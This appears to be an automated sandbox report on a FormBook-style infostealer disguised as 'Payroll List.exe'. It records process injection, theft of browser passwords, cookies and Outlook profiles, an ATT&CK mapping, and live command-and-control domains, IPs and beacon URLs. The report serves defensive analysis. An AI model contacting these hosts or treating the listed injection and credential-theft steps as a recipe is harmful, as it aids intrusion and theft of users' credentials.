Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\ktmutil.exe

Thread register set: target process: 7372

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\ktmutil.exe

Thread APC queued: target process: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\Payroll List.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: 2EB1008

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0015B106 LogonUserW,

0_2_0015B106

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00123D19 GetCurrentDirectoryW,IsDebuggerPresent,GetFullPathNameW,SetCurrentDirectoryW,MessageBoxA,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

0_2_00123D19

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0016411C SendInput,keybd_event,

0_2_0016411C

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_001674BB mouse_event,

0_2_001674BB

Source: C:\Users\user\Desktop\Payroll List.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\Payroll List.exe"	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Process created: C:\Windows\SysWOW64\srdelayed.exe "C:\Windows\SysWOW64\srdelayed.exe"	Jump to behavior
Source: C:\Program Files (x86)\jupCyaZDEYaMktXkMIVVtozRrAPkkVYrNNVAPNAouqQtQmhWwSoqIzjzYYAHZwwQMvInUdlRiRJTXV\eLiCpwzRIeWAs.exe	Process created: C:\Windows\SysWOW64\ktmutil.exe "C:\Windows\SysWOW64\ktmutil.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\Payroll List.exe

0_2_0015A66C

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_001671FA AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

0_2_001671FA

Source: Payroll List.exe, eLiCpwzRIeWAs.exe, 00000004.00000000.1656587643.0000000001AD0000.00000002.00000001.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000004.00000002.3292145094.0000000001AD0000.00000002.00000001.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292344981.0000000001380000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: eLiCpwzRIeWAs.exe, 00000004.00000000.1656587643.0000000001AD0000.00000002.00000001.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000004.00000002.3292145094.0000000001AD0000.00000002.00000001.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292344981.0000000001380000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman
Source: eLiCpwzRIeWAs.exe, 00000004.00000000.1656587643.0000000001AD0000.00000002.00000001.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000004.00000002.3292145094.0000000001AD0000.00000002.00000001.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292344981.0000000001380000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: 0Program Manager
Source: Payroll List.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndTHISREMOVEblankinfoquestionstopwarning
Source: eLiCpwzRIeWAs.exe, 00000004.00000000.1656587643.0000000001AD0000.00000002.00000001.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000004.00000002.3292145094.0000000001AD0000.00000002.00000001.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292344981.0000000001380000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_001465C4 cpuid

0_2_001465C4

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0017091D GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,__wsplitpath,_wcscat,_wcscat,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,_wcscpy,SetCurrentDirectoryW,

0_2_0017091D

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0019B340 GetUserNameW,

0_2_0019B340

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_00151E8E __lock,____lc_codepage_func,__getenv_helper_nolock,_free,_strlen,__malloc_crt,_strlen,__invoke_watson,_free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

0_2_00151E8E

Source: C:\Users\user\Desktop\Payroll List.exe

Code function: 0_2_0013DDC0 GetVersionExW,GetCurrentProcess,FreeLibrary,GetNativeSystemInfo,FreeLibrary,FreeLibrary,GetSystemInfo,GetSystemInfo,

0_2_0013DDC0

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1734177353.0000000003760000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1733855292.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3292196090.0000000002900000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3291497446.0000000000680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3292524183.0000000004FB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3291358467.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3295460520.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1734536564.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\ktmutil.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\ktmutil.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: Payroll List.exe	Binary or memory string: WIN_81
Source: Payroll List.exe	Binary or memory string: WIN_XP
Source: Payroll List.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 12, 0USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubytep
Source: Payroll List.exe	Binary or memory string: WIN_XPe
Source: Payroll List.exe	Binary or memory string: WIN_VISTA
Source: Payroll List.exe	Binary or memory string: WIN_7
Source: Payroll List.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1734177353.0000000003760000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1733855292.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3292196090.0000000002900000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3291497446.0000000000680000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.3292524183.0000000004FB0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.3291358467.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.3295460520.0000000005260000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.1734536564.0000000005E00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_00178C4F socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00178C4F
Source: C:\Users\user\Desktop\Payroll List.exe	Code function: 0_2_0017923B socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_0017923B

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	3 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	5 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	5 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	151 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	1 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Payroll List.exe	58%	ReversingLabs	Win32.Trojan.AutoitInject
Payroll List.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.klohk.tech/3m3e/?NjHpTfh=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu	0%	Avira URL Cloud	safe
http://www.migorengya8.click/y3dc/?NjHpTfh=ihLGZn7rk3oJmiI0qHBJyF4us9aj83dk38RHqm5p8i+Dx9088FhrC90fflTIanmBNHjorQ8RX0lkasPQ9tRERiLp2a4b9y8ndNk9xgL1b55xNz3Mr8JVSoFw+CxXG/tVnA==&1fo=GF14svyhH44dt	0%	Avira URL Cloud	safe
http://www.servannto.site/h26k/	0%	Avira URL Cloud	safe
http://www.migorengya8.click/y3dc/	0%	Avira URL Cloud	safe
http://www.klohk.tech/3m3e/	0%	Avira URL Cloud	safe
https://34.92.79.175:19817	0%	Avira URL Cloud	safe
http://www.futurevision.life/hxmz/?NjHpTfh=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H70ewIeMOmwh+ftSU1XmKvTSoNxNN/QLOdtg9qtYWOUm1ByQ==&1fo=GF14svyhH44dt	0%	Avira URL Cloud	safe
http://www.futurevision.life/hxmz/	0%	Avira URL Cloud	safe
http://www.telforce.one/ykhz/	0%	Avira URL Cloud	safe
http://www.huiguang.xyz/hv6g/?NjHpTfh=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGP8KkEC54eipAN6+u9bqO0oPPtGBbKuyofNdvdufJOx9cYQ==&1fo=GF14svyhH44dt	0%	Avira URL Cloud	safe
http://www.d63dm.top/rqnz/	0%	Avira URL Cloud	safe
http://www.beingandbecoming.ltd/79tr/	0%	Avira URL Cloud	safe
http://www.beingandbecoming.ltd/79tr/?NjHpTfh=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZP8CAmIyANUKvAf3+5N6bOzfwLz/Gtq1ZNC0AtH/TFhPdx4Q==&1fo=GF14svyhH44dt	0%	Avira URL Cloud	safe
http://www.klohk.tech/3m3e/?NjHpTfh=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cNftXSlpvpmQYoxqRDgL404wqyKQKR0qu5cYpfr80+FdsRQ==&1fo=GF14svyhH44dt	0%	Avira URL Cloud	safe
http://www.d63dm.top/rqnz/?NjHpTfh=76huNjt+Arc+fPcCbUr8ZcsQaHE6oyRuYOqfGZIequmDvyuWFmMJMF1Z7BKJ7tjr9vaKr64/B4AayP3kwCu5tZILeOOALNuMLpp3tbYRhrZPyWqW3RF19Jr1EDacfA/CTw==&1fo=GF14svyhH44dt	0%	Avira URL Cloud	safe
http://www.mcfunding.org/0598/	0%	Avira URL Cloud	safe
http://www.servannto.site/h26k/?1fo=GF14svyhH44dt&NjHpTfh=3BjO5l4trS+mOtJOU23IMPLHJrJKWDXXfOCWIFV4tkiUomDH7G5wxffcY7A/EhE+G/r5frF5I7R9nf11AZCcJ5+lxyBJff7SJaPEJKSXzAPLDFQjr1SUqUGQs1Ux+2nJpQ==	0%	Avira URL Cloud	safe
http://www.telforce.one	0%	Avira URL Cloud	safe
http://www.mcfunding.org/0598/?1fo=GF14svyhH44dt&NjHpTfh=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4dMSPmSyMXvFwuhBmNF6SR00f5xEMx0RhVmciiGarBUFx9Q==	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
mcfunding.org	3.33.130.190	true	true	unknown
d63dm.top	154.23.184.218	true	true	unknown
www.huiguang.xyz	154.216.76.80	true	false	high
www.servannto.site	31.31.196.17	true	true	unknown
www.klohk.tech	103.224.182.242	true	false	high
www.telforce.one	64.190.63.222	true	true	unknown
beingandbecoming.ltd	3.33.130.190	true	true	unknown
migorengya8.click	198.252.98.54	true	true	unknown
www.futurevision.life	203.161.49.193	true	false	high
schedulemassage.xyz	3.33.130.190	true	true	unknown
www.beingandbecoming.ltd	unknown	unknown	false	unknown
www.migorengya8.click	unknown	unknown	false	unknown
www.mcfunding.org	unknown	unknown	false	unknown
www.d63dm.top	unknown	unknown	false	unknown
www.schedulemassage.xyz	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.migorengya8.click/y3dc/	true	Avira URL Cloud: safe	unknown
http://www.futurevision.life/hxmz/?NjHpTfh=xeYt+TVrluKccowhuJaDBktUUZBiwtnijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H70ewIeMOmwh+ftSU1XmKvTSoNxNN/QLOdtg9qtYWOUm1ByQ==&1fo=GF14svyhH44dt	true	Avira URL Cloud: safe	unknown
http://www.servannto.site/h26k/	true	Avira URL Cloud: safe	unknown
http://www.migorengya8.click/y3dc/?NjHpTfh=ihLGZn7rk3oJmiI0qHBJyF4us9aj83dk38RHqm5p8i+Dx9088FhrC90fflTIanmBNHjorQ8RX0lkasPQ9tRERiLp2a4b9y8ndNk9xgL1b55xNz3Mr8JVSoFw+CxXG/tVnA==&1fo=GF14svyhH44dt	true	Avira URL Cloud: safe	unknown
http://www.futurevision.life/hxmz/	true	Avira URL Cloud: safe	unknown
http://www.klohk.tech/3m3e/	true	Avira URL Cloud: safe	unknown
http://www.huiguang.xyz/hv6g/?NjHpTfh=vSitAQgQO9xnWjtJgvvZZsk+23T/NzOm/sAr3nzbW6mT0FGB0/NYbIaPlj7BCWSFPaPgTx5lzENVl3g1chzGP8KkEC54eipAN6+u9bqO0oPPtGBbKuyofNdvdufJOx9cYQ==&1fo=GF14svyhH44dt	true	Avira URL Cloud: safe	unknown
http://www.telforce.one/ykhz/	true	Avira URL Cloud: safe	unknown
http://www.servannto.site/h26k/?1fo=GF14svyhH44dt&NjHpTfh=3BjO5l4trS+mOtJOU23IMPLHJrJKWDXXfOCWIFV4tkiUomDH7G5wxffcY7A/EhE+G/r5frF5I7R9nf11AZCcJ5+lxyBJff7SJaPEJKSXzAPLDFQjr1SUqUGQs1Ux+2nJpQ==	true	Avira URL Cloud: safe	unknown
http://www.beingandbecoming.ltd/79tr/	true	Avira URL Cloud: safe	unknown
http://www.beingandbecoming.ltd/79tr/?NjHpTfh=vB4016rwfH0MxtawL3zGYGaXYsIh8iPne8uh+mnoHReWloNmM7dp4Fgr6wtK7PtcWtNvsE0Cpt3tQWtVQrZP8CAmIyANUKvAf3+5N6bOzfwLz/Gtq1ZNC0AtH/TFhPdx4Q==&1fo=GF14svyhH44dt	true	Avira URL Cloud: safe	unknown
http://www.mcfunding.org/0598/?1fo=GF14svyhH44dt&NjHpTfh=t68BN09iVeqb/IuLF1oa7LGDO07/W7CFIoocHQs3lozqg6PiE4irZB+dVkRcNKn3qqYTfz+U2KKskdRsvGv4dMSPmSyMXvFwuhBmNF6SR00f5xEMx0RhVmciiGarBUFx9Q==	true	Avira URL Cloud: safe	unknown
http://www.d63dm.top/rqnz/	true	Avira URL Cloud: safe	unknown
http://www.mcfunding.org/0598/	true	Avira URL Cloud: safe	unknown
http://www.d63dm.top/rqnz/?NjHpTfh=76huNjt+Arc+fPcCbUr8ZcsQaHE6oyRuYOqfGZIequmDvyuWFmMJMF1Z7BKJ7tjr9vaKr64/B4AayP3kwCu5tZILeOOALNuMLpp3tbYRhrZPyWqW3RF19Jr1EDacfA/CTw==&1fo=GF14svyhH44dt	true	Avira URL Cloud: safe	unknown
http://www.klohk.tech/3m3e/?NjHpTfh=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu+0k6EtFb5UlufQ+lVXFR/9gePpQjCGKa/ZsQJ4MYKcJmAxrfjl4cNftXSlpvpmQYoxqRDgL404wqyKQKR0qu5cYpfr80+FdsRQ==&1fo=GF14svyhH44dt	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://34.92.79.175:19817	ktmutil.exe, 00000006.00000002.3293451407.00000000037B4000.00000004.10000000.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000003214000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2045258675.0000000025CB4000.00000004.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.klohk.tech/3m3e/?NjHpTfh=AG8wkc12D4O4qfE3dc2ZpUKPRZyp2gRu	eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000003B80000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.telforce.one	eLiCpwzRIeWAs.exe, 00000007.00000002.3295460520.00000000052E3000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://hm.baidu.com/hm.js?cf95fa39f4a72ce6b85bbfbe9eadb95a	ktmutil.exe, 00000006.00000002.3293451407.00000000037B4000.00000004.10000000.00040000.00000000.sdmp, eLiCpwzRIeWAs.exe, 00000007.00000002.3292809726.0000000003214000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 0000000B.00000002.2045258675.0000000025CB4000.00000004.80000000.00040000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	ktmutil.exe, 00000006.00000003.1937688978.000000000765D000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
203.161.49.193	www.futurevision.life	Malaysia	45899	VNPT-AS-VNVNPTCorpVN	false
31.31.196.17	www.servannto.site	Russian Federation	197695	AS-REGRU	true
103.224.182.242	www.klohk.tech	Australia	133618	TRELLIAN-AS-APTrellianPtyLimitedAU	false
198.252.98.54	migorengya8.click	Canada	20068	HAWKHOSTCA	true
64.190.63.222	www.telforce.one	United States	11696	NBS11696US	true
154.216.76.80	www.huiguang.xyz	Seychelles	132839	POWERLINE-AS-APPOWERLINEDATACENTERHK	false
154.23.184.218	d63dm.top	United States	174	COGENT-174US	true
3.33.130.190	mcfunding.org	United States	8987	AMAZONEXPANSIONGB	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1560911
Start date and time:	2024-11-22 14:43:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Run name:	Run with higher sleep bypass
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Payroll List.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@9/3@11/8
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 95% Number of executed functions: 44 Number of non-executed functions: 300
Cookbook Comments:	Found application associated with file extension: .exe Sleeps bigger than 100000000ms are automatically reduced to 1000ms Sleep loops longer than 100000000ms are bypassed. Single calls with delay of 100000000ms and higher are ignored

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target eLiCpwzRIeWAs.exe, PID 5964 because it is empty
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
VT rate limit hit for: Payroll List.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
203.161.49.193	MV KODCO.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/?jD=VzTtTZ&1H=xeYt+TVrluKccowmz5a5GltLZ9YZ3snijwrYeJgffsaeXHWEwE1YZCbtIyEm+ckVl2hmk1+GOFDMCTsPe0H70c0RaNOmwh+TnBkmQn+jSxAt6pokQYbXkws=
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.inspires.website/tv3i/
	Arrival Notice_pdf.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/
	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/
	Swift MT1O3 Payment Notification Scan Copy Ref 62587299-24_PDF.exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/cadc/?mRu=yfxAwDfWka0dfjkEErxT6WYgWaOc4HN689PIo8avXNW9JAsEk9V7nvZjppH3ozqb+GZGdofwBlLzR01W2aLtY3/CfTpxh0qnHwCWqwdq33lIMBmS8NPwCm4=&UJ=7H1XM
	Letter of Intent (LOI) For the Company November 2024 PDF.pif.exe	Get hash	malicious	FormBook, GuLoader	Browse	www.eco-tops.website/n54u/
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	www.futurevision.life/hxmz/
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.harmonid.life/aq3t/
	DHL_IMPORT_8236820594.exe	Get hash	malicious	FormBook	Browse	www.harmonid.life/aq3t/
	Statement Cargomind 2024-09-12 (K07234).exe	Get hash	malicious	FormBook	Browse	www.fitlifa.xyz/6tsn/
31.31.196.17	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	www.servannto.site/h26k/
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	www.servannto.site/h26k/
	wODub61gZe.exe	Get hash	malicious	FormBook	Browse	www.dverkom.store/sflr/
	r6lOHDg9N9.exe	Get hash	malicious	FormBook	Browse	www.dverkom.store/p6ze/
	URGENT REQUEST FOR QUOTATION.exe	Get hash	malicious	FormBook	Browse	www.dverkom.store/66j2/
	FW CMA SHZ Freight invoice CHN1080769.exe	Get hash	malicious	FormBook	Browse	www.dverkom.store/66j2/
	Purchase_Order_pdf.exe	Get hash	malicious	FormBook	Browse	www.dverkom.store/fbcx/
	SALARY OF OCT 2024.exe	Get hash	malicious	FormBook	Browse	www.servannto.site/h26k/
	3wgZ0nlbTe.exe	Get hash	malicious	FormBook	Browse	www.dverkom.store/7hot/
	RFQ REF-JTCAJC-QINHP5-TIS-L0009- (AL DHAFRA) AL JABER - SUPPLY.exe	Get hash	malicious	FormBook	Browse	www.dverkom.store/7hot/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
www.servannto.site	PROFORMA INVOICE.exe	Get hash	malicious	FormBook	Browse	31.31.196.17
	Shipping documents..exe	Get hash	malicious	FormBook	Browse	31.31.196.17
